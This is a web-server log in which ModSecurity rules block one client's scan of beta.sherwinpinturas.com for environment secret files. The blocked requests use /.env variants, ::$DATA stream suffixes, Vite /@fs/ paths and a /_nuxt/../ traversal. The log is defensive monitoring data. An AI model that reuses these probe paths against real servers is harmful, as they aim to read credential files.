[Sun Oct 25 15:29:52.808941 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/"] [unique_id "at5YsJ1xajE3yGGRkQHbjQAAABY"]
[Sun Oct 25 15:29:53.078115 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5YsZ1xajE3yGGRkQHbjgAAABY"]
[Sun Oct 25 15:29:53.078640 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5YsZ1xajE3yGGRkQHbjgAAABY"]
[Sun Oct 25 15:29:53.078925 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5YsZ1xajE3yGGRkQHbjgAAABY"]
[Sun Oct 25 15:29:53.208807 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:53640] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5YsUNgGhNT1R9I9L_-NQAAADE"]
[Sun Oct 25 15:29:53.208903 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:53640] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5YsUNgGhNT1R9I9L_-NQAAADE"]
[Sun Oct 25 15:29:53.209207 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:53640] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5YsUNgGhNT1R9I9L_-NQAAADE"]
[Sun Oct 25 15:29:53.209509 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:53640] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5YsUNgGhNT1R9I9L_-NQAAADE"]
[Sun Oct 25 15:29:53.231219 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5YsZ1xajE3yGGRkQHbjwAAABY"]
[Sun Oct 25 15:29:53.231596 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5YsZ1xajE3yGGRkQHbjwAAABY"]
[Sun Oct 25 15:29:53.231845 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5YsZ1xajE3yGGRkQHbjwAAABY"]
[Sun Oct 25 15:29:53.234529 2026] [security2:error] [pid 2885079:tid 2885079] [client 34.77.67.151:43760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5Ysbla3kGuFz6t2zRGIgAAAAA"]
[Sun Oct 25 15:29:53.235002 2026] [security2:error] [pid 2885079:tid 2885079] [client 34.77.67.151:43760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5Ysbla3kGuFz6t2zRGIgAAAAA"]
[Sun Oct 25 15:29:53.235242 2026] [security2:error] [pid 2885079:tid 2885079] [client 34.77.67.151:43760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5Ysbla3kGuFz6t2zRGIgAAAAA"]
[Sun Oct 25 15:29:53.252356 2026] [security2:error] [pid 2887612:tid 2887612] [client 34.77.67.151:43736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5YsWpZ-EYaCoexNWvvqgAAADU"]
[Sun Oct 25 15:29:53.253027 2026] [security2:error] [pid 2887612:tid 2887612] [client 34.77.67.151:43736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5YsWpZ-EYaCoexNWvvqgAAADU"]
[Sun Oct 25 15:29:53.253285 2026] [security2:error] [pid 2887612:tid 2887612] [client 34.77.67.151:43736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5YsWpZ-EYaCoexNWvvqgAAADU"]
[Sun Oct 25 15:29:53.254449 2026] [security2:error] [pid 2882184:tid 2882184] [client 34.77.67.151:43744] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5YscWCEnzf6if1-EsP7wAAACk"]
[Sun Oct 25 15:29:53.254782 2026] [security2:error] [pid 2882184:tid 2882184] [client 34.77.67.151:43744] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5YscWCEnzf6if1-EsP7wAAACk"]
[Sun Oct 25 15:29:53.255042 2026] [security2:error] [pid 2882184:tid 2882184] [client 34.77.67.151:43744] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5YscWCEnzf6if1-EsP7wAAACk"]
[Sun Oct 25 15:29:53.375827 2026] [security2:error] [pid 2885079:tid 2885079] [client 34.77.67.151:43760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5Ysbla3kGuFz6t2zRGIwAAAAA"]
[Sun Oct 25 15:29:53.376152 2026] [security2:error] [pid 2885079:tid 2885079] [client 34.77.67.151:43760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5Ysbla3kGuFz6t2zRGIwAAAAA"]
[Sun Oct 25 15:29:53.376393 2026] [security2:error] [pid 2885079:tid 2885079] [client 34.77.67.151:43760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5Ysbla3kGuFz6t2zRGIwAAAAA"]
[Sun Oct 25 15:29:53.410622 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.77.67.151:43762] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5YsXWAJkvYyuEsFoLHeQAAABc"]
[Sun Oct 25 15:29:53.411130 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.77.67.151:43762] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5YsXWAJkvYyuEsFoLHeQAAABc"]
[Sun Oct 25 15:29:53.411476 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.77.67.151:43762] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at5YsXWAJkvYyuEsFoLHeQAAABc"]
[Sun Oct 25 15:29:53.452947 2026] [security2:error] [pid 2887612:tid 2887612] [client 34.77.67.151:43736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5YsWpZ-EYaCoexNWvvqwAAADU"]
[Sun Oct 25 15:29:53.453439 2026] [security2:error] [pid 2887612:tid 2887612] [client 34.77.67.151:43736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5YsWpZ-EYaCoexNWvvqwAAADU"]
[Sun Oct 25 15:29:53.453730 2026] [security2:error] [pid 2887612:tid 2887612] [client 34.77.67.151:43736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5YsWpZ-EYaCoexNWvvqwAAADU"]
[Sun Oct 25 15:29:53.476287 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:53640] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5YsUNgGhNT1R9I9L_-NgAAADE"]
[Sun Oct 25 15:29:53.476890 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:53640] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5YsUNgGhNT1R9I9L_-NgAAADE"]
[Sun Oct 25 15:29:53.477164 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:53640] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5YsUNgGhNT1R9I9L_-NgAAADE"]
[Sun Oct 25 15:29:53.505652 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5YsZ1xajE3yGGRkQHbkQAAABY"]
[Sun Oct 25 15:29:53.506072 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5YsZ1xajE3yGGRkQHbkQAAABY"]
[Sun Oct 25 15:29:53.506307 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5YsZ1xajE3yGGRkQHbkQAAABY"]
[Sun Oct 25 15:29:53.529123 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.77.67.151:43838] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5YsZv6gKcq3V_2QCvzLwAAAA0"]
[Sun Oct 25 15:29:53.529411 2026] [security2:error] [pid 2882149:tid 2882149] [client 34.77.67.151:43868] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5YsVDc8NG2wzoJfYE3IQAAAAQ"]
[Sun Oct 25 15:29:53.529527 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.77.67.151:43838] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5YsZv6gKcq3V_2QCvzLwAAAA0"]
